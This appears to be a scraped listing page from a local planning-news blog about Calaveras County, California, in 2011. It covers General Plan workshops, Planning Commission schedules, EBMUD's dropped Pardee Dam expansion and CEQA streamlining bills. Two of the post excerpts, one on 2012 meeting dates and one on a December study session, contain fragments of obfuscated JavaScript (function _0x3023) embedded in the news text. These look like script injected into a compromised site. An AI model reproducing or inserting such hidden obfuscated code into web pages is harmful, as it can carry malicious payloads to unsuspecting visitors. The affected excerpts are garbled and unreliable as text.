General Plan Update Action Alert

The Board of Supervisors is holding a General Plan Update Workshop on Tuesday, December 13, at 1:30 pm, at the Board Chambers. The Staff Report provides direction for dealing with the Draft Water Element and the Draft Economic Development Element. You can download the agenda and board packet including staff comments and draft documents here. You’ll need to scroll about 8/10s of the way through the packet to the General Plan Workshop item.  You... Read More

City Approves Sign Plan, Waives Car Lot Fee

Written by Sean Janssen, The Union Democrat December 07, 2011 01:25 pm The Angels Camp City Council approved two items Tuesday night it hopes will have a positive impact on a struggling business economy. Council members voted 4-0 to approve a “wayfinding” plan featuring a sign system and traffic calming devices in the historic downtown district designed utilizing a $35,000 community development block grant. The signs and kiosks envisioned in... Read More

General Plan Workshop & Planning Commission Schedule & Information

December 13, 2011 – The Board of Supervisors will be participating in a Study Session lead by the Planning Department on the Water and Economic Elements of the General Plan at 1:30 pm. You can download the agenda and board packet here. December 15, 2011 – The Planning Commission will be considering several projects involving zoning & general plan amendments, variances, etc.  You can download the agenda and commission packet here. The... Read More

EBMUD Drops Plans to Expand Pardee!

Planning News from MyValleySprings.com December 5, 2011 Community opposition in Amador and Calaveras counties helped quash EBMUD plans to expand Pardee Dam and flood the Mokelumne River! The revised draft PEIR will be released December 6. Public meetings on the environmental report will be held in Calaveras and Amador counties and in Oakland in January. Read more: Foothill Conservancy News Release EBMUD Press Release SF Chronicle News Article Visit... Read More

Significant CEQA Streamlining Reform Bills Enacted

Courtesy of Meyers / Nave Read the original article here. This is a little bit dated but some of these new regulations and interpretations will take effect on January 1, 2012. October 24, 2011 Three important reform bills designed to streamline California Environmental Quality Act (CEQA) processing and review for certain classes of projects have been enacted and will take effect January 1, 2012.  SB 226 creates a new exemption for urban infill... Read More

Rebranding Planning so the Public Understands

Robin Rather, CEO of Collective Strength, speaks about how planners can build support for planning in their communities and counter critics. “I think the attacks are coming more frequently and with more pain, because planners have been succeeding. The idea of sustainable communities has really taken off in place after place, and comprehensive planning is really catching on around the country, and success breeds antagonism,” says... Read More

Change in Planning Commission Meeting Dates for 2012

PRESS RELEASE FROM CALAVERAS COUNTY The dates set for the regular monthly meetings of the Planning Commission will be changed to the second and fourth Thursday of each month. The first regularly scheduled meeting of the Planning Commission in 2012 shall take place on Thursday, Jan. 12, 2012. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

Planning Commission Study Session Scheduled for December 1st at 9 AM

The Planning Commission Agenda indicates that they will be reviewing the Board of Supervisors Study Session of November 22nd and discussing refinements to the Preferred General Plan Land Use Map.  You can view and download the agenda and supporting documents here. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

Countywide Land-Use Plan Returns to Board Next Year

Written by Sean Janssen, The Union Democrat November 23, 2011 01:59 pm County planning staff will bring back a long-range land use plan Jan. 10 for the Board of Supervisors to pore over in greater detail. The board, after a lengthy Tuesday afternoon study session, unanimously asked for:_ * an inventory of unimproved lots and parcels that cannot be improved due to terrain or other reasons; * a plan to accommodate rural subdivisions that occur outside... Read More

Calaveras Board of Supervisors Approves “Next Steps” for the General Plan

The Calaveras County Board of Supervisors approved all of the recommendations that new Planning Director Rebecca Willis made for moving the General Plan Update forward during the study session on November 22, 2011.  Many of her recommendations stemmed from the public comment letters sent in by the CPC and others during the review of the General Plan Alternatives in spring of 2010. Thank you to all the CAP/CPC people who spoke at the study session,... Read More